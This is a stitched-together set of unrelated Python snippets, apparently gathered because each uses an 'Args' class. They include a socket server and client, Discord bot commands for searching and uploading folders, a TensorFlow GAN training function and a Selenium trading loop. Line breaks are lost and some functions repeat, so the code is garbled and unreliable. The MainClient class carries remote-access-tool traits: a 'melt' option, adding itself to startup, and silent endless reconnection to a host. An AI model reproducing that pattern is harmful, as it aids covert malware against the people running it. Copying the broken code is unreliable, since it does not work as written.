class MainServer: def __init__(self): self._args = Args(self) logger.init(self._args.get_args()) self.socket = Socket(self._args.get_args().port) self.control = Control(self.socket) def start(self): self.socket.listen_asych() View(self.control)
async def args(self, ctx): f""" Arguments for {config['DISCORD']['command_prefix']}upload """ parser = Args(config) meta, help, before_args = parser.parse("", dict()) help = help.format_help() help = help.split('optional')[1] if len(help) > 2000: await ctx.send(f"```{help[:1990]}```") await ctx.send(f"```{help[1991:]}```") else: await ctx.send(help.format_help())
class MainClient: def __init__(self, host, port, is_host_name=False, add_to_startup=False, melt=False): os.chdir(os.path.dirname(os.path.abspath(__file__))) # make sure working dir is same as file dir self._args = Args(self) logger.init(self._args.get_args()) self.socket = None self.host = socket.gethostbyname(host) if is_host_name else host self.port = port p = Persistence() try: if melt: p.melt() if add_to_startup: p.add_startup() except (errors.ClientSocket.Persistence.StartupError, NotImplementedError): pass def start(self): self.socket = Socket(self.host, self.port) try: self.socket.connect() except (cryptography.fernet.InvalidToken, socket.error): # if the server closes without warning self.socket.close() del self.socket self.start()
def __init__(self, host, port, is_host_name=False, add_to_startup=False, melt=False): os.chdir(os.path.dirname(os.path.abspath(__file__))) # make sure working dir is same as file dir self._args = Args(self) logger.init(self._args.get_args()) self.socket = None self.host = socket.gethostbyname(host) if is_host_name else host self.port = port p = Persistence() try: if melt: p.melt() if add_to_startup: p.add_startup() except (errors.ClientSocket.Persistence.StartupError, NotImplementedError): pass
async def edit(self, ctx, uuid=None, *args): """ Edit uuid w/ args """ if ctx.channel.id != int(config['DISCORD']['discord_channel_id']): return if uuid == None: await ctx.send( "Missing ID, please try again using the ID in the footer") parser = Args(config) base_dir = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) try: with open(f"{base_dir}/tmp/{uuid}/meta.json") as f: meta = json.load(f) f.close() except FileNotFoundError: await ctx.send( "ID not found, please try again using the ID in the footer") return prep = Prep(path=meta['path'], screens=meta['screens'], img_host=meta['imghost'], config=config) try: meta, help, before_args = parser.parse(args, meta) except argparse.ArgumentError as error: ctx.send(error) msg = await ctx.fetch_message(meta['embed_msg_id']) await msg.delete() new_msg = await msg.channel.send(f"Editing {meta['uuid']}") meta['embed_msg_id'] = new_msg.id meta['edit'] = True meta = await prep.gather_prep(meta=meta, mode="discord") meta['name_notag'], meta['name'], meta['clean_name'], meta[ 'potential_missing'] = await prep.get_name(meta) await self.send_embed_and_upload(ctx, meta)
def main(): args = Args().parse() loader = DataLoader(args.train_real_data_dir, args.train_flow_data_dir, video_length=args.video_length, batch_size=args.batch_size) test_loader = DataLoader(args.test_real_data_dir, args.test_flow_data_dir, video_length=args.video_length, batch_size=args.batch_size) graph = tf.Graph() config = tf.ConfigProto() config.gpu_options.allow_growth = True with tf.Session(graph=graph, config=config) as sess: gan = SEENET(args, sess, graph) if args.test: gan.test_all(test_loader) else: gan.train(loader, test_loader)
def __init__(self): self._args = Args(self) logger.init(self._args.get_args()) self.socket = Socket(self._args.get_args().port) self.control = Control(self.socket)
def __init__(self): self._args = Args(self) logger.init(self._args.get_args()) self.server = Server(self._args.get_args().port) self.control = Control(self.server)
async def upload(self, ctx, path, *args, message_id=0, search_args=tuple()): f""" Upload: for a list of arguments do {config['DISCORD']['command_prefix']}args """ if ctx.channel.id != int(config['DISCORD']['discord_channel_id']): return parser = Args(config) if path == None: await ctx.send("Missing Path") return elif path.lower() == "-h": meta, help, before_args = parser.parse("", dict()) await ctx.send(parser.help) return meta = dict() meta['base_dir'] = os.path.abspath( os.path.dirname(os.path.dirname(__file__))) path = os.path.abspath(path) if os.path.exists(path): meta['path'] = path try: args = args + search_args meta, help, before_args = parser.parse(args, meta) except SystemExit as error: await ctx.send( f"Invalid argument detected, use `{config['DISCORD']['command_prefix']}args` for list of valid args" ) return if meta['imghost'] == None: meta['imghost'] = config['DEFAULT']['img_host_1'] # if not meta['unattended']: # ua = config['DEFAULT'].get('auto_mode', False) # if str(ua).lower() == "true": # meta['unattended'] = True prep = Prep(path=path, screens=meta['screens'], img_host=meta['imghost'], config=config) preparing_embed = discord.Embed(title=f"Preparing to upload:", description=f"```{path}```", color=0xffff00) if message_id == 0: message = await ctx.send(embed=preparing_embed) meta['embed_msg_id'] = message.id else: message = await ctx.fetch_message(message_id) await message.edit(embed=preparing_embed) # message = await ctx.fetch_message(message_id) meta['embed_msg_id'] = message.id await message.clear_reactions() meta = await prep.gather_prep(meta=meta, mode="discord") # await ctx.send(file=discord.File(f"{base_dir}/tmp/{folder_id}/Mediainfo.json")) await self.send_embed_and_upload(ctx, meta) else: await ctx.send("Invalid Path")
async def dir(self, ctx, *, args=None): """ Search for a directory to upload """ search_terms = args parser = Args(config) try: input_string = args dict, parser, before_args = parser.parse( tuple(input_string.split(' ')), {}) search_terms = " ".join(before_args) args = args.replace(search_terms, '') while args.startswith(" "): args = args[1:] except SystemExit as error: await ctx.send( f"Invalid argument detected, use `{config['DISCORD']['command_prefix']}args` for list of valid args" ) return if ctx.channel.id != int(config['DISCORD']['discord_channel_id']): return search = Search(config=config) if search_terms == None: await ctx.send("Missing search term(s)") return folders_total = await search.searchFolder(search_terms) if folders_total == []: await ctx.send("Nothing Found") return folders = "\n\n• ".join(folders_total) if not folders_total: embed = discord.Embed(description="No files found") elif len(folders_total) >= 2: embed = discord.Embed( title=f"Directory search results for: `{search_terms}`", color=0x00ff40, description=f"```• {folders}```") embed.add_field( name="What Now?", value= f"Please be more specific or use `{config['DISCORD']['command_prefix']}search dir` to find a directory" ) await ctx.send(embed=embed) return elif len(folders_total) == 1: embed = discord.Embed( title=f"Directory search results for: {search_terms}", color=0x00ff40, description=f"```{folders}```") embed.set_footer( text= f"{config['DISCORD']['discord_emojis']['UPLOAD']} to Upload") message = await ctx.send(embed=embed) await message.add_reaction( config['DISCORD']['discord_emojis']['UPLOAD']) channel = message.channel def check(reaction, user): if reaction.message.id == message.id: if str(user.id) == config['DISCORD']['admin_id']: if str( reaction.emoji ) == config['DISCORD']['discord_emojis']['UPLOAD']: return reaction try: await self.bot.wait_for("reaction_add", timeout=120, check=check) except asyncio.TimeoutError: await channel.send(f"Search: `{search_terms}`timed out") else: await self.upload(ctx, path=folders_total[0], search_args=tuple(args.split(" ")), message_id=message.id) # await ctx.send(folders_total) return
from src.trader import Trader from src.strategy import Strategy from src.sleeper import Sleeper from src.trade_area import TradeArea from src.log import LOG from dotenv import load_dotenv from selenium import webdriver import os load_dotenv() HOST = os.getenv("HOST") SESSION = os.getenv("SESSION") args = Args().parse() browser = webdriver.Remote(command_executor=HOST, desired_capabilities={}) browser.close() browser.session_id = SESSION trader = Trader(browser, dry_run=args.dry_run) trade_area = TradeArea(browser) strategy = Strategy(browser) i = 1 while True: LOG.init_strategy() trade_area.clear_area() Sleeper.sleep(2)